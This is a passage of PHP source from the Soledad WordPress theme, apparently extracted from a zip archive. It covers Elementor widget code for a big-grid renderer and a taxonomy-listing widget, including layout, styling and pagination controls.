								$button_attr_data = $setting['button_link']['custom_attributes'] ? $setting['button_link']['custom_attributes'] : '';
								if ( $button_attr_data ) {
									$button_attr = $this->get_data_link( $button_attr_data );
								}

								include dirname( __FILE__ ) . "/custom.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							}
							echo '</div>';
						}
					}
					?>
                </div>
				<?php
				if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
					echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
				} ?>
            </div>
        </div>
		<?php
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function get_data_link( $attr ) {
		$output = '';
		if ( $attr ) {
			$attr     = str_replace( ' ', '', $attr );
			$attr_all = explode( ',', $attr );
			foreach ( $attr_all as $data ) {
				$attr_each = explode( '|', $data );
				if ( $attr_each[0] && $attr_each[1] ) {
					$output .= ' ' . $attr_each[0] . '="' . $attr_each[1] . '"';
				}
			}
		}

		return $output;
	}
}
PK     1w\uf+  +  3  elementor/modules/penci-category-listing/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCategoryListing;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-category-listing';
	}

	public function get_widgets() {
		return array( 'PenciCategoryListing' );
	}
}
PK     1w\    K  elementor/modules/penci-category-listing/widgets/penci-category-listing.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCategoryListing\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCategoryListing extends Base_Widget {

	public function get_name() {
		return 'penci-category-listing';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Taxonomy Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category', 'post' );
	}

	public function get_script_depends() {
		return [];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = [];
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control( 'term_name', [
			'label'   => 'Taxonomies',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $post_tax,
			'default' => 'category',
		] );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'name',
			'options' => [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			],
		] );

		$this->add_control( 'order', [
			'label'   => esc_html__( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'ASC',
			'options' => [
				'DESC' => 'DESC',
				'ASC'  => 'ASC',
			],
		] );

		$this->add_control( 'number', [
			'label'   => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => get_option( 'posts_per_page' ),
		] );

		$this->add_control( 'hide_empty', array(
			'label'        => __( 'Hide Empty Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hierarchical', array(
			'label'        => __( 'Hierarchical', 'soledad' ),
			'description'  => __( 'Whether to include terms that have non-empty descendants (even if "Hide Empty Items" is set to "Yes").', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Display Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			)
		) );

		$this->add_control( 'bg_columns', array(
			'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_tablet', array(
			'label'     => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_mobile', array(
			'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '1',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_postmeta', array(
			'label'    => __( 'Showing Term Data', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'name', 'count' ),
			'multiple' => true,
			'options'  => array(
				'name'  => esc_html__( 'Name', 'soledad' ),
				'desc'  => esc_html__( 'Description', 'soledad' ),
				'count' => esc_html__( 'Posts Count', 'soledad' ),
			),
		) );

		$this->add_control( 'hide_meta_small', array(
			'label'        => __( 'Hide Term Meta on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'hide_excerpt_small', array(
			'label'        => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Words Length for Term Name', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'hide_subtitle_mobile', array(
			'label'        => __( 'Hide Terms Description on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'   => __( 'Custom Words Length for Terms Description', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 500,
			'step'    => 1,
			'default' => 10,
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show View All Posts Button', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Show', 'soledad' ),
			'label_off'    => __( 'Hide', 'soledad' ),
			'return_value' => 'show',
			'default'      => '',
		) );

		$this->add_control( 'hide_rm_small', array(
			'label'        => __( 'Hide View All Posts on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'        => array( 'style-1', 'style-2' ),
				'show_readmore' => 'show',
			),
		) );

		$this->add_control( 'hide_readmore_mobile', array(
			'label'        => __( 'Hide View All Posts on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'conditions'   => array(
				'relation' => 'or',
				'terms'    => array(
					array(
						'terms' => array(
							array( 'name' => 'show_readmore', 'operator' => '===', 'value' => 'show' )
						)
					),
				)
			),
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Hide Bookmark Icon', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'selectors'    => array(
				'{{WRAPPER}} .penci-bf-follow-term-wrapper' => 'display: none !important;',
			),
		) );

		$this->add_control( 'onecol_mobile', array(
			'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'sameh_mobile', array(
			'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'onecol_mobile' => 'yes',
				'style!'        => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'bgcontent_pos', array(
			'label'     => __( 'Content Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'on',
			'options'   => array(
				'on'    => esc_html__( 'On Image', 'soledad' ),
				'below' => esc_html__( 'Below Image', 'soledad' ),
				'above' => esc_html__( 'Above Image', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_gap', array(
			'label'     => __( 'Gap Between Grid & Mansonry Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
				'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_othergap', array(
			'label'     => __( 'Gap Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
			),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => 66 ),
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'style' => array( 'style-1' ) ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'     => __( 'Custom Border Radius for Images', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
			)
		) );

		$this->add_responsive_control( 'bg_height', array(
			'label'     => __( 'Custom Item Height (Unit is px)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'bg_pagination', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Terms Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Terms Button & Infinite Scroll just works on frontend only.', 'soledad' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => 'none' ),
		) );

		$this->add_responsive_control( 'paging_matop', array(
			'label'     => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'biggrid_section_imgsize', array(
			'label' => __( 'Custom Image Sizes', 'soledad' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'bthumb_size', array(
			'label'     => __( 'Image Size for Big Items', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_biggrid_design', array(
			'label' => __( 'Item Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_pos_display', array(
			'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->add_control( 'content_vertical_position', array(
			'label'                => __( 'Content Text Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'content_text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'content_display', array(
			'label'   => __( 'Content Text Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'block',
			'options' => array(
				'block'        => esc_html__( 'Block', 'soledad' ),
				'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'content_width', array(
			'label'      => __( 'Content Text Max-Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
		) );

		$this->add_control( 'bg_padding_margin', array(
			'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_responsive_control( 'content_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'content_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_overlay', array(
			'label' => __( 'Overlay Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'overlay_type', array(
			'label'   => __( 'Apply Overlay On:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'whole',
			'options' => array(
				'whole' => 'Whole Image',
				'text'  => 'Whole Content Text',
				'none'  => 'None',
			)
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'      => 'overlay_bg',
			'label'     => __( 'Overlay Background', 'soledad' ),
			'types'     => array( 'classic', 'gradient', 'video' ),
			'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
			'condition' => array( 'overlay_type!' => array( 'none' ) ),
		) );

		$this->add_responsive_control( 'overlay_opacity', array(
			'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_responsive_control( 'overlay_hopacity', array(
			'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_control( 'apply_spe_bg_title', array(
			'label' => __( 'Apply Separate Background for Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_title', array(
			'label'     => __( 'Background for Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_htitle', array(
			'label'     => __( 'Background for Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_meta', array(
			'label' => __( 'Apply Separate Background for Term Meta', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_meta', array(
			'label'     => __( 'Background for Term Meta', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hmeta', array(
			'label'     => __( 'Background for Term Meta on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_bg_hover_effect', array(
			'label' => __( 'Hover Effect', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'image_hover', array(
			'label'   => __( 'Image Hover Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'zoom-in',
			'options' => array(
				'zoom-in'     => 'Zoom-In',
				'zoom-out'    => 'Zoom-out',
				'move-left'   => 'Move to Left',
				'move-right'  => 'Move to Right',
				'move-bottom' => 'Move to Bottom',
				'move-top'    => 'Move to Top',
				'none'        => 'None',
			)
		) );

		$this->add_control( 'text_overlay', array(
			'label'   => __( 'Content Text Hover Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'none',
			'options' => array(
				'none'    => 'None',
				'show-in' => 'Show on Hover',
				'hide-in' => 'Hide on Hover',
			)
		) );

		$this->add_control( 'text_overlay_ani', array(
			'label'     => __( 'Content Text Hover Animation', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'movetop',
			'options'   => array(
				'movetop'    => 'Move to Top',
				'movebottom' => 'Move to Bottom',
				'moveleft'   => 'Move to Left',
				'moveright'  => 'Move to Right',
				'zoomin'     => 'Zoom In',
				'zoomout'    => 'Zoom Out',
				'fade'       => 'Fade',
			),
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->add_control( 'title_anivisi', array(
			'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_typo', array(
			'label' => __( 'Typography & Colors', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bgitem_design', array(
			'label'     => esc_html__( 'Terms Items', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Terms Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'style' => 'style-1' ),
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_control( 'bgitem_bg', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				'body.pcdark-mode {{WRAPPER}} .penci-biggrid .penci-bgitin'       => 'background-color: rgba(55,55,55,0.2);',
			),
		) );

		$this->add_control( 'bgitem_borders', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
